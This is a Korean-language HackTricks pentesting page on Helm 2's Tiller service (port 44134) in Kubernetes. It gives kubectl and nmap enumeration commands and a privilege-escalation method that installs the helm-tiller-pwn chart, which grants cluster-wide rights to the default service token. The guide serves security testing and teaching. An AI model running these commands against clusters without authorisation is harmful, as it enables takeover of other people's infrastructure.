hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

5.5 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

기본 정보

Helm은 패키지 관리자입니다. Kubernetes를 위한. YAML 파일을 패키징하고 공개 및 비공식 저장소에 배포할 수 있습니다. 이러한 패키지를 Helm Charts라고 합니다. Tiller는 기본적으로 포트 44134에서 실행되는 서비스입니다.

기본 포트: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

다양한 네임스페이스의 pods 및/또는 서비스열거할 수 있다면, 이를 열거하고 이름에 "tiller"가 포함된 것을 검색하십시오:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

예시:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

이 서비스를 찾으려면 포트 44134를 확인해 보세요:

sudo nmap -sS -p 44134 <IP>

한 번 발견하면 클라이언트 헬름 애플리케이션을 다운로드하여 통신할 수 있습니다. homebrew와 같은 도구를 사용하거나 공식 릴리스 페이지를 확인할 수 있습니다. 더 많은 세부정보나 다른 옵션은 설치 가이드를 참조하세요.

그런 다음, 서비스를 열거할 수 있습니다:

helm --host tiller-deploy.kube-system:44134 version

Privilege Escalation

기본적으로 Helm2kube-system 네임스페이스에 높은 권한으로 설치되었으므로, 서비스를 찾고 이에 접근할 수 있다면 권한 상승을 할 수 있습니다.

당신이 해야 할 일은 다음과 같은 패키지를 설치하는 것입니다: https://github.com/Ruil1n/helm-tiller-pwn 이는 기본 서비스 토큰이 전체 클러스터의 모든 것에 접근할 수 있도록 합니다.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

In http://rui0.cn/archives/1573에는 공격에 대한 설명이 있지만, 기본적으로 helm-tiller-pwn/pwnchart/templates/ 내의 clusterrole.yamlclusterrolebinding.yaml 파일을 읽어보면 모든 권한이 기본 토큰에 부여되는 방식을 확인할 수 있습니다.

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}